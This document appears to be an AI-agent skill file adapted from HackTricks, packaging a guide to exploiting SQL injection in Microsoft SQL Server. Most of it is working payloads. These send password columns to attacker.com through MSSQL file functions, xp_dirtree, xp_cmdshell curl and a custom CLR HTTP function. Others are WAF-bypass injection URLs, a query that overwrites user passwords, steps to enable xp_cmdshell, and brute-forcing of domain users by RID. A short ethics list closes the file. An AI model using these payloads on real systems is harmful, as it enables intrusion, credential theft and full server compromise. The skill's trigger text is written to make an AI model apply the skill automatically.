Hacktricks-skills mssql-injection

MSSQL SQL injection exploitation techniques including Active Directory enumeration, SSRF via MSSQL functions, WAF bypass methods, and data exfiltration. Use this skill whenever the user mentions MSSQL, Microsoft SQL Server, SQL injection against MSSQL databases, or needs to enumerate domain users, bypass WAFs, or exfiltrate data from MSSQL servers. Trigger for any MSSQL-specific injection scenarios, not just generic SQL injection.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/mssql-injection/SKILL.MD
source content

MSSQL Injection Exploitation

A comprehensive guide for exploiting SQL injection vulnerabilities in Microsoft SQL Server databases.

When to Use This Skill

Use this skill when:

  • You've identified a SQL injection vulnerability and need to determine if it's MSSQL
  • You need to enumerate Active Directory users from an MSSQL server
  • You want to perform SSRF attacks through MSSQL functions
  • You need to bypass WAFs that block standard SQL injection patterns
  • You want to exfiltrate data from MSSQL databases efficiently
  • You're working with MSSQL-specific stored procedures and functions

Quick Start

1. Identify MSSQL Server

First, confirm you're dealing with MSSQL by checking error messages or using version detection:

-- Check MSSQL version
SELECT @@version

-- Alternative version check
SELECT SERVERPROPERTY('productversion')

2. Enumerate Database Schema

-- Get all tables
SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE'

-- Get columns from all tables
SELECT table_schema, table_name, column_name FROM information_schema.columns

-- Quick schema dump using FOR JSON (MSSQL 2016+)
SELECT * FROM information_schema.columns FOR JSON AUTO

Active Directory Enumeration

MSSQL servers often have access to Active Directory. You can enumerate domain users through SQL injection.

Get Domain Information

-- Get current domain name
SELECT DEFAULT_DOMAIN()

-- Get SID of domain Administrator (replace DOMAIN with actual domain)
SELECT master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\\Administrator'))

The SID will look like

0x01050000000[...]0000f401
. The last 4 bytes represent the RID (Relative ID) in big endian format.
0000f401
= 500 (Administrator's common RID).

Enumerate Domain Users

Use

SUSER_SNAME()
to convert SIDs to usernames. The domain portion of the SID stays constant; only the last 4 bytes (RID) change.

-- Get username for RID 1000 (typically first regular user)
SELECT SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc2360000e803)

-- Brute force RIDs 1000-2000 to enumerate users
-- Use the script in scripts/enumerate_domain_users.py

Domain User Enumeration Script

Use

scripts/enumerate_domain_users.py
to generate SIDs for brute-forcing user RIDs:

python scripts/enumerate_domain_users.py --domain-sid "0x0105000000000005150000001c00d1bcd181f1492bdfc236" --start 1000 --end 2000

Error-Based Injection Vectors

Standard error-based patterns like

+AND+1=@@version--
are often blocked by WAFs. Use these alternative vectors:

String Concatenation Bypass

Use

%2b
(URL-encoded
+
) to concatenate strings with function results:

-- Using USER_NAME()
https://vuln.app/getItem?id=1'%2buser_name(@@version)--

-- Using SUSER_NAME()
https://vuln.app/getItem?id=1'%2bsuser_name(1)--

-- Using DB_NAME()
https://vuln.app/getItem?id=1'%2bdb_name()--

-- Using FILE_NAME()
https://vuln.app/getItem?id=1'%2bfile_name(1)--

-- Using TYPE_NAME()
https://vuln.app/getItem?id=1'%2btype_name(1)--

-- Using COL_NAME()
https://vuln.app/getItem?id=1'%2bcol_name(1,1)--

Functions That Trigger Type Conversion Errors

  • SUSER_NAME()
    - Returns username for SID
  • USER_NAME()
    - Returns database user name
  • PERMISSIONS()
    - Returns permissions
  • DB_NAME()
    - Returns database name
  • FILE_NAME()
    - Returns file name
  • TYPE_NAME()
    - Returns data type name
  • COL_NAME()
    - Returns column name

SSRF via MSSQL Functions

MSSQL provides several functions that can trigger outbound network requests.

fn_xe_file_target_read_file

Requires

VIEW SERVER STATE
permission.

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

-- Alternative check
USE master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

-- SSRF payload
SELECT * FROM fn_xe_file_target_read_file(
  'C:\*.xel',
  '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.xem',
  NULL, NULL
)

fn_get_audit_file

Requires

CONTROL SERVER
permission.

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';

-- Alternative check
USE master;
EXEC sp_helprotect 'fn_get_audit_file';

-- SSRF payload
SELECT * FROM fn_get_audit_file(
  '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com',
  DEFAULT, DEFAULT
)

fn_trace_gettable

Requires

CONTROL SERVER
permission.

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';

-- Alternative check
USE master;
EXEC sp_helprotect 'fn_trace_gettable';

-- SSRF payload
SELECT * FROM fn_trace_gettable(
  '\\' + (SELECT pass FROM users WHERE id=1) + '.attacker.com\1.trc',
  DEFAULT
)

xp_dirtree, xp_fileexists, xp_subdirs

These stored procedures can make network requests (limited to TCP port 445 for xp_dirtree).

-- xp_dirtree example
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

-- xp_fileexists example
EXEC master..xp_fileexist '\\attacker-server\\share\\file.txt';

-- xp_subdirs example
EXEC master..xp_subdirs '\\attacker-server\\share';

xp_cmdshell

Execute system commands (requires enabling first):

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced option', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;

-- Execute command
EXEC xp_cmdshell 'whoami';

-- SSRF via curl/wget
EXEC xp_cmdshell 'curl http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1);

SQLHttp CLR Function

For advanced SSRF, create a CLR User Defined Function (requires

dbo
access):

  1. Download the SQLHttp project from https://github.com/infiniteloopltd/SQLHttp
  2. Build the assembly and add it to trusted assemblies:
EXEC sp_add_trusted_assembly 
  0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,
  N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

-- Create assembly
CREATE ASSEMBLY HttpDb FROM 'C:\path\to\HttpDb.dll';

-- Create function
CREATE FUNCTION http(@url varchar(max))
RETURNS varchar(max)
EXTERNAL NAME HttpDb.[UserDefinedFunctions].http;

-- Use the function
DECLARE @url varchar(max);
SET @url = 'http://attacker.com/?data=' + (SELECT pass FROM users WHERE id=1);
SELECT dbo.http(@url);

Quick Data Exfiltration

Retrieve Entire Table in One Query

Use

FOR JSON
clause (MSSQL 2016+) for concise data extraction:

-- Get all columns from all tables
SELECT * FROM information_schema.columns FOR JSON AUTO

-- With UNION injection
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

-- For error-based vectors (requires alias)
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieve Current Query

View the currently executing query (requires

VIEW SERVER STATE
for all sessions):

SELECT text FROM sys.dm_exec_requests 
CROSS APPLY sys.dm_exec_sql_text(sql_handle)

-- Check permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

WAF Bypass Techniques

Non-Standard Whitespace

Use Unicode whitespace characters to bypass filters:

-- %C2%85 (Next Line) and %C2%A0 (Non-breaking space)
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific and Hex Notation

Obfuscate UNION keyword:

-- Scientific notation
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

-- Hex notation
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

Period Instead of Whitespace

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

Backslash-N Separator

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

Unorthodox Stacked Queries

MSSQL allows stacking queries without semicolons:

-- Standard stacked queries
SELECT 'a'; SELECT 'b';

-- Without semicolons (WAF bypass)
SELECT 'a' SELECT 'b'

-- Complex example
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Practical WAF Bypass Examples

-- Add useless exec() to confuse WAF
admina'union select 1,'admin','testtest123'exec('select 1')--

-- Direct password update
admin'exec('update[users]set[password]=''a''')--

-- Enable xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Permission Checking

Always check what permissions you have before attempting techniques:

-- Check all server permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

-- Check specific permission
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';

-- Check procedure permissions
USE master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
EXEC sp_helprotect 'xp_cmdshell';

Safety and Ethics

  • Only use these techniques on systems you have explicit authorization to test
  • MSSQL injection can lead to full system compromise
  • Document your findings and report vulnerabilities responsibly
  • Be aware that some techniques (xp_cmdshell, CLR functions) require elevated privileges

References